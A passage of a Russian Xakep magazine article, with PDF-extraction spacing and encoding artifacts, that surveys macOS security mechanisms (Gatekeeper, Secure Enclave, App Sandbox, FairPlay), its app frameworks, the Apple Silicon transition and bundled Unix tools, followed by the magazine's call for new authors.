Еще один механизм, приз ванный защитить «мак» от вирусов, называ ется
Gatekeeper. Это сис тема, которая, опи раясь на базы дан ных Apple, рас позна ет
потен циаль но вре донос ные фай лы и пре пятс тву ет их запус ку.

Ра бота ет это вот как. Каж дый ска чан ный файл помеща ется в каран тин,
получая соот ветс тву ющий рас ширен ный атри бут. При попыт ке запус тить
исполня емый файл, сто ящий на каран тине, сис тема про веря ет, не находит ся
ли он в чер ном спис ке, есть ли у него под пись сер тифици рован ного раз работ -
чика, и если да, то не изме нено ли содер жимое фай ла.

В зависи мос ти от резуль татов про вер ки сис тема либо сра зу запус кает
файл, либо отка зыва ется это делать. Если проб лема в отсутс твии под писи, то
это лег ко обой ти — дос таточ но открыть файл через кон текс тное меню, а не
двой ным кли ком.

Gatekeeper при желании мож но пол ностью отклю чить одной коман дой, при чем
не тре бует ся даже перезаг рузка. Хоть это и облегчит жизнь, делать так
не рекомен дует ся. Прог раммы прос то так не попада ют в чер ные спис ки!

Secure Enclave

В «маках» с чипами серии M либо с про цес сорами Intel и допол нитель ными
чипами серии T исполь зует ся спе циаль ное аппа рат ное решение для надеж -
ного хра нения и под твержде ния клю чей шиф рования и биомет ричес кой
информа ции — Secure Enclave.

Поль зовате лю Secure Enclave не виден, вза имо дей ство вать с ним нап рямую
никак нель зя. Зато сис тема обща ется с ним каж дый раз, ког да ты под твержда -
ешь пла теж или ввод пароля отпе чат ком паль ца или раз бло киру ешь компь ютер
при помощи Apple Watch.

App Sandbox

От дель но от SIP и Gatekeeper сущес тву ет механизм App Sandbox, который кон -
тро лиру ет дос туп сто рон них при ложе ний к поль зователь ским и сис темным
фай лам и пап кам. Точ нее, поз воля ет раз работ чикам самим огра ничи вать воз -
можнос ти при ложе ний! Для прог рамм, рас простра няемых через App Store,
это необ ходимое усло вие, для заг ружа емых дру гими спо соба ми — опци ональ -
ное.

Нас трой ка App Sandbox в Xcode

Под клю чив App Sandbox в Xcode при сбор ке про екта, раз работ чик выбира ет,
какие фун кции могут понадо бить ся при ложе нию: дос туп к опре делен ным пап -
кам, сетевым про токо лам, воз можнос тям вро де Apple Pay. При ложе ние
при работе будет про сить поль зовате ля под твер дить, что он раз реша ет
исполь зовать тот или иной ресурс.

FairPlay

По мимо механиз мов, приз ванных защитить дан ные поль зовате лей, в macOS
есть и одна сис тема, защища ющая дан ные  поль зовате лей. Речь о FairPlay —
мес тной реали зации циф ровой защиты автор ских прав (DRM). Это, пожалуй,
единс твен ное серь езное огра ниче ние, намер тво зашитое в macOS.

от

FairPlay может рас простра нять ся как на отдель ные фай лы в фор матах MP4
(видео) и AAC (звук), так и на потоко вое вещание (FairPlay Streaming). В час -
тнос ти, эту защиту исполь зуют в Netix.

FairPlay жес тко огра ничи вает копиро вание защищен ной информа ции,
поэто му если попытать ся сде лать скрин шот филь ма из Netix или Apple TV, то
получит ся толь ко чер ный пря моуголь ник. Записать видео или зах ватить аудио
из защищен ного источни ка тоже не вый дет без допол нитель ных ухищ рений.

ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈÅ

Да же при бег лом зна комс тве с macOS лег ко заметить, что боль шинс тво прог -
рамм здесь име ют еди ный визу аль ный стиль, стан дар тные диало ги откры тия
и сох ранения фай лов, выбора шриф тов и цве та и про чие общие эле мен ты. Все
это — бла года ря тому, что они осно ваны на стан дар тных объ ектных биб лиоте -
ках, реали зующих интерфейс Aqua.

Та кой под ход не толь ко обес печива ет кон систен тный стиль и пред ска -
зуемое поведе ние прог рамм, но еще и эко номит опе ратив ную память, а так же
поз воля ет Apple в любой момент вно сить раз ного рода изме нения. К при меру,
ког да в macOS 10.14 Mojave появил ся тем ный режим, его внед рение пот -
ребова ло минимум уси лий от раз работ чиков прог рамм.

Од нако говорить о том, что в macOS есть толь ко одна окон ная биб лиоте ка,
в наше вре мя не при ходит ся. В реаль нос ти фрей мвор ков нес коль ко: какие-то
из них оставле ны для сов мести мос ти, дру гие пока носят экспе римен таль ный
харак тер.

Objective-C

Тра дици онный и до сих пор самый надеж ный спо соб раз работ ки прог рамм
для macOS — это исполь зование язы ка Objective-C и фрей мвор ка Cocoa,
извес тно го так же как AppKit (или NSApp, если заг лянуть во вре мена
NeXTSTEP).

Раз работ ка в Xcode на Objective-C

Objective-C — это высоко уров невый объ ектно ори енти рован ный язык с под -
дер жкой раз ных видов типиза ции. Он унас ледовал идеи Smalltalk (объ екты
и сооб щения) и C (базовый син таксис, пря мое управле ние памятью). Абс трак -
тно его мож но счи тать эппловским ана логом C++ или в какой-то мере — C#
и Java.

AppKit

Зна ния одно го толь ко Objective-C недос таточ но для раз работ ки маков ских
при ложе ний. Гораз до боль ший пласт — это раз нооб разные API и фрей мвор ки,
которые пос тавля ются с сис темой. Любой прог раммист прак тичес ки сра зу же
стол кнет ся с Foundation Kit, где реали зова ны базовые объ екты и струк туры,
а при написа нии гра фичес ких при ложе ний — с AppKit.

AppKit реали зует при выч ную в наше вре мя схе му MVC, то есть «модель —
вид — кон трол лер», где модель отве чает за струк туру дан ных, вид — за их
отоб ражение, а кон трол лер — за реак цию на дей ствия поль зовате ля.
С помощью AppKit опи сыва ется внеш ний вид и поведе ние всех окон, меню,
кно пок, тек сто вых полей и дру гих эле мен тов интерфей са.

Для раз работ ки прог рамм на осно ве AppKit час то при меня ется Interface
Builder, вхо дящий в Xcode. Это визу аль ное средс тво раз работ ки интерфей сов,
которое поз воля ет соб рать при ложе ние из сос тавных час тей, как в дет ском
конс трук торе (если ты сра зу вспом нил Visual Basic, Delphi, C++Builder или Qt
Designer, то это вер ная ана логия). Раз работ чики неред ко кри тику ют этот под -
ход: вмес то навыков прог рамми рова ния он тре бует имен но уме ния обра щать -
ся с Interface Builder.

Swift

Objective-C слу жил NeXT и Apple верой и прав дой с вось мидеся тых годов
и неп лохо справ лялся со сво ими задача ми. Одна ко за все это вре мя он очень
мало изме нил ся и лишен мно гих воз можнос тей, при выч ных сов ремен ным
прог раммис там.

В 2014 году на кон ферен ции WWDC анон сирова ли новый язык для написа -
ния маков ских при ложе ний — Swift. За его соз дани ем сто ит Крис Лат тнер,
извес тный как один из основных раз работ чиков уни вер саль ного ком пилято ра
LLVM.

Как и Objective-C, Swift — ком пилиру емый язык, нацелен ный на раз работ ку
ста биль ных и про изво дитель ных при ложе ний. Он тоже исполь зует схо жий с С
син таксис, одна ко унас ледовал некото рые парадиг мы от скрип товых язы ков
вро де JavaScript и Python.

По сво им воз можнос тям Swift уже спо собен пол ностью заменить Objective-
C и пре вос ходит его в про изво дитель нос ти. Одна ко базовые фрей мвор ки
еще не все перепи саны на Swift, поэто му пока что раз работ чикам слож ных
при ложе ний при ходит ся регуляр но стал кивать ся с Objective-C и его нас леди -
ем.

Ис ходни ки Swift откры ты, и  вер сии
ком пилято ра и REPL для Linux, Windows
и Android. Одна ко широко го рас простра нения
за пре дела ми macOS этот язык пока не получил.

су щес тву ют

SwiftUI

NSApp/AppKit раз рабаты вал ся вмес те с Objective-C и с уче том его воз можнос -
тей. И хоть из Swift и мож но обра щать ся к нему, ана логич ной парой для нового
язы ка дол жен стать интерфейс SwiftUI.

За осно ву SwiftUI взя ли UIKit (CocoaTouch) — более новую модифи кацию
AppKit, раз работан ную для iOS. SwiftUI дол жен заменить оба этих фрей мвор ка
и поз воля ет писать при ложе ния, которые будут работать на всех плат формах
Apple: часах, телефо нах, план шетах, компь юте рах и телеп ристав ках.

Глав ная фиш ка SwiftUI — это воз можность опи сывать при ложе ния в дек -
ларатив ном сти ле. То есть вмес то того, что бы коман да за коман дой перечис -
лять, какие эле мен ты интерфей са куда помес тить, дос таточ но опи сать,
как будет выг лядеть при ложе ние, а про межу точ ные шаги и рас клад ку SwiftUI
возь мет на себя. Interface Builder при этом уже не нужен.

Раз работ ка интерфей са на SwiftUI

SwiftUI поз воля ет раз работ чикам эко номить мас су уси лий, ког да задум ка сов -
пада ет с дос тупны ми воз можнос тями. В про тив ном же слу чае SwiftUI может
ока зать ся серь езной прег радой. Воз можно, с раз вити ем SwiftUI ста нет лег че,
но пока что ситу ации, о которых в Apple не подума ли заранее, встре чают ся
на каж дом шагу и вынуж дают раз работ чика воз вра щать ся к AppKit — бла го
сме шивать его со SwiftUI ник то не меша ет.

Catalyst

И еще один сов ремен ный эппловский фрей мворк, о котором сто ит упо мянуть,
называ ется Catalyst. Катали зиро вать он приз ван пор тирова ние на «мак» при -
ложе ний, написан ных для iOS на UIKit. По завере ниям Apple, соз дать дес ктоп -
ную прог рамму из мобиль ной мож но бук валь но за один день.

В доказа тель ство на пре зен тации показа ли офи циаль ный кли ент Twitter,
пор тирован ный с iOS. И... им дей стви тель но при желании мож но поль зовать ся.
Одна ко по поведе нию он замет но отли чает ся от «род ных» маков ских при ложе -
ний.

Кли ент Twitter на Catalyst

Catalyst — это переход ный фрей мворк, и пос тепен но его дол жен пол ностью
вытес нить уни вер саль ный SwiftUI. Собс твен но, при ложе ний, перене сен ных
на «мак» при помощи Catalyst, ока залось нем ного, и, ско рее все го, его отпра -
вят на пен сию даже рань ше вре мени.

Carbon

Ис тория с Catalyst немало напоми нает дру гой эпи зод из жиз ни Apple. Ког да
Mac OS X была сов сем новой и нуж далась в при ложе ниях, в Apple решили
помочь раз работ чикам прог рамм для клас сичес кой Mac OS пере ехать
на новую сис тему.

Так родил ся фрей мворк Carbon, пре дос тавля ющий под дер жку ста рых API,
но для поль зовате ля рису ющий все тот же интерфейс Aqua. Carbon ока зал ся
серь езным под спорь ем для раз работ чиков, и его, в час тнос ти, исполь зовали
в про дук тах Adobe — вплоть до выхода Creative Suite 5.

Мо жет сло жить ся впе чат ление, что на «маке»
раз решено исполь зовать толь ко стан дар тные
средс тва соз дания при ложе ний. Это не так: есть
мно жес тво популяр ных прог рамм на кросс-плат -
формен ных биб лиоте ках вро де GTK+, Qt,
vxWidgets или фрей мвор ке Electron (на нем
работа ют, нап ример, VS Code и Slack). Прос то
поль зовате ли Apple пред почита ют натив ные
прог раммы из-за луч шей интегра ции в сис тему.

WebObjects

На конец, тебе еще кое-где может встре тить ся сло во WebObjects. Это наз -
вание эппловско го объ ектно ори енти рован ного веб-фрей мвор ка, соз данно го
на заре интерне та и при шед шего еще из NeXT. По сво им воз можнос тям он
серь езно опе редил вре мя, но исполь зовать «мак» в качес тве веб-сер вера
было стран ной иде ей что тог да, что сей час. Единс твен ная ком пания, которая
до сих пор при меня ет WebObjects, — это сама Apple. На этой тех нологии час -
тично работа ют App Store и Apple Music.

APPLE SILICON

В Apple очень серь езно отно сят ся к тому, что бы иметь не толь ко собс твен ный
софт, но и свое железо, иде аль но под ходящее к соф ту. Выбор цен траль ного
про цес сора здесь игра ет важ ней шую стра теги чес кую роль. В Apple уже триж ды
меняли тип CPU «макин тошей»: Motorola 68000 (32-раз рядный CISC)
на PowerPC (32- и 64-раз рядный RISC), затем на Intel (32- и 64-раз рядный
CISC) и в 2020 году — на ARM (64-раз рядный RISC).

К момен ту пос ледне го перехо да в Apple уже снаб жали iPhone, iPad и про чие
гад жеты сво ими сис темами на чипе серии A на осно ве ARM. Так что перевод
«маков» на ту же аппа рат ную плат форму не стал неожи дан ностью. Это го
события жда ли дав но, и если что-то и уди вило, так это его поч ти пол ная без -
болез ненность и даже невиди мость изме нений для поль зовате лей.

«Макин тоши» на Apple Silicon (так офи циаль но называ ется эппловская раз -
новид ность ARM) не потеря ли сов мести мость поч ти ни с одним при ложе -
нием — в пер вую оче редь за счет сис темы бинар ной тран сля ции, извес тной
как Rosetta 2.

Rosetta 2 при пер вом запус ке исполня емо го фай ла, пред назна чен ного
для «маков» с чипом Intel, перево дит инс трук ции x86 в инс трук ции ARM, то
есть про изво дит «ком пиляцию перед исполь зовани ем» — AOT. При необ -
ходимос ти дос тупна и динами чес кая ком пиляция — JIT.

Все это поз воля ет запус кать те же при ложе ния, что и рань ше, даже если их
раз работ чик не позабо тил ся о перес борке под новую архи тек туру. При чем
зачас тую про изво дитель ность не толь ко не усту пает про изво дитель нос ти
«маков» с чипами x86, но и пре вос ходит ее!

Свою роль в том, что переход на Apple Silicon был лег ким и незамет ным,
сыг рала и та под готов ка, которую начали за мно го лет до реша юще го момен та.
В Apple очень лов ко убра ли под дер жку ста рых 32-раз рядных при ложе ний
за год до анон са Apple Silicon — в опе раци онной сис теме macOS 10.15
Catalina. Rosetta 2 не поз воля ет запус кать такие прог раммы, и лиш ний год дал
сто рон ним раз работ чикам вре мя под готовить ся.

Ес ли что-то и пос тра дало при пере езде на Apple
Silicon, то это вир туали зация. Под робнее о том,
как Parallels, VMware, QEMU и VirtualBox пережи -
ли переход, читай в статье « ».M1 для хакера

Что до при ложе ний и фрей мвор ков, пос тавля емых с macOS, то в них под дер -
жку 64-раз рядных архи тек тур начали добав лять еще c 2009 года, ког да выш ла
Mac OS X 10.6 Snow Leopard. Биб лиоте ки Carbon, не имев шие 64-раз рядной
вер сии, перес тали под держи вать в 2012 году в OS X 10.8 Mountain Lion.

Та кие пла номер ные убор ки в чулане поз воля ют Apple с лег костью менять
аппа рат ные плат формы и под держи вать «легаси» толь ко в переход ные пери -
оды.

ÏÐÎ×ÅÅ

По мимо перечис ленно го, в macOS есть еще нес коль ко ком понен тов, которые
род нят эту ОС с миром Linux. К при меру, это сис тема печати CUPS и сер вер
VNC, исполь зуемый для шей рин га экра на. И конеч но, коман дная обо лоч ка
Bash, стан дар тная для любого Linux (в пос ледних вер сиях macOS по умол -
чанию уста нов лен еще и ZSH).

Дол гое вре мя с macOS пос тавля лись интер пре тато ры язы ков Python, Perl
и PHP. В macOS 12 Monterey убра ли Python 2.7 и PHP, оста вив толь ко Perl,
одна ко вмес те с Xcode или Command Line Tools for Xcode уста нав лива ется
Python 3.

При чина «убор ки» — в том, что нуж ны эти язы ки в основном прог раммис -
там и энту зиас там, при чем зачас тую в гораз до более новой вер сии, чем есть
в сис теме. А раз ста вить новую все рав но при дет ся, то ста рая будет толь ко
мешать.

С macOS пос тавля ется и веб-сер вер Apache,
но это ско рее прос то инте рес ный исто ричес кий
факт. До вер сии 10.8 Mountain Lion «Апа чем»
мож но было управлять через панель нас тро ек.
Теперь же дос туп есть толь ко из коман дной
стро ки, и, ско рее все го, в одной из будущих вер -
сий веб-сер вер убе рут по тем же при чинам, что
и Python 2.

ÂÛÂÎÄÛ

Итак, думаю, ты уже понял, что macOS — это не Linux, хотя и гораз до более
близ кая к нему сис тема, чем, нап ример, Windows.

Здесь исполь зуют ся свои ядро, гра фичес кая сис тема, окон ная сре да и гра -
фичес кие фрей мвор ки. Под дер жка стан дарта POSIX обес печива ет воз -
можность пор тировать на macOS Unix-сов мести мые прог раммы. Некото рые
из них уже пос тавля ются вмес те с сис темой.

Что до слу хов о том, нас коль ко macOS зак рыта, то они силь но пре уве личе -
ны. «Зак рыта» она не в боль шей мере, чем Windows, а мес тами в гораз до
мень шей. С дру гой сто роны, понят но, что это не Linux, где поч ти каж дый ком -
понент есть в нес коль ких вари антах и при желании мож но сде лать новый форк
любого из них. И конеч но, широко извес тно, что macOS офи циаль но нель зя
уста новить на дру гие компь юте ры, кро ме «маков».

Кри тика этих фак тов каким-то обра зом переро дилась в слу хи о том, что
в macOS нель зя слу шать музыку, если ты не купил ее в iTunes Store, или запус -
тить ска чан ные из интерне та при ложе ния. Все это, конеч но, пол ней шая ерун -
да.

Су щес тву ет опа сение, что macOS пос тепен но объ еди нят с куда более зак -
рытыми iOS и iPad OS. Что бы понять стра тегию Apple в этом пла не, дос таточ но
взгля нуть на SwiftUI. Он поз воля ет писать еди ные при ложе ния, име ющие раз -
ный внеш ний вид и поведе ние на раз ных устрой ствах с уче том их раз мера,
воз можнос тей и схе мы исполь зования. Оче вид но, что и даль ше в Apple будут
не изничто жать, а ско рее под черки вать отли чия меж ду раз ными видами компь -
юте ров.

Так что объ еди нение, с одной сто роны, вряд ли про изой дет, с дру гой —
уже вов сю про исхо дит. Прос то оно работа ет сов сем на дру гом уров не: уни -
фици руют внут ренние сис темы (нап ример, APFS), соз дают общий базис
для раз работ ки при ложе ний (SwiftUI), в macOS пос тепен но добав ляют некото -
рые новые фичи из iOS (и наобо рот — iOS и iPad OS получа ют кое-что
с «мака»).

Уже мно го лет macOS — отличный выбор как для пов седнев ной работы, так
и для твор чес тва и для мно гих видов раз работ ки. Неп рерыв ная опти миза ция
и чис тка, прак тику емые в Apple, поз воля ют сох ранить про изво дитель ность
и внед рять нов шес тва на всех уров нях сис темы. К тому же в macOS есть
огромный потен циал для авто мати зации, о котором мы уже не раз писали
и еще вер немся к нему в будущем.

https://www.swift.org/platform-support/
https://xakep.ru/2022/01/28/apple-m1-test/


«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?
1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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